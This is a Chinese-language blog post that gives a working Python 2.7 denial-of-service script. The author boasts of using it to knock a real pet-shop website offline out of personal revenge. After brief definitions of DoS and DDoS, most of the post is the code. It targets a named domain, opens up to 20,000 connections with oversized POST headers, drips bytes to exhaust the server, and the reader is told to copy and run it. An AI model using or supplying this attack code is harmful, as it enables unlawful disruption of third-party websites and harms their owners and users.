python 實現DoS攻擊

前言

一 狗店老闆欺負我女神,作爲一個程序員這如果都能忍那還算男人?得知這個狗店老闆買狗網站後果斷決定黑了他,看他囂張不囂張。我使用的是DOS攻擊,沒一分鐘就把他的網站日癱了,解氣。

DOS

DOS拒絕服務攻擊(Denial-of-Service Attack)亦稱洪水攻擊,是一種網絡攻擊手法,其目的在於使目標電腦的網絡或系統資源耗盡,使服務暫時中斷或停止,導致其正常用戶無法訪問。
  分佈式拒絕服務攻擊(Distributed Denial-of-Service Attack),是使用網絡上兩個或兩個以上被攻陷的電腦作爲 “殭屍” 向特定的目標發動 “拒絕服務” 式攻擊。

代碼

Windows上python 2.7直接複製過去跑癱這個買狗的。

import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.bjlovedog.com"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf)
            print "Send buf OK!,conn=%d\n"%i
            socks.append(s)
        except Exception,ex:
            print "Could not connect to server or send error:%s"%ex
            time.sleep(10)
#end def

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f")
                #print "send OK!"
            except Exception,ex:
                print "Send Exception:%s\n"%ex
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())

conn_th.start()
send_th.start()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章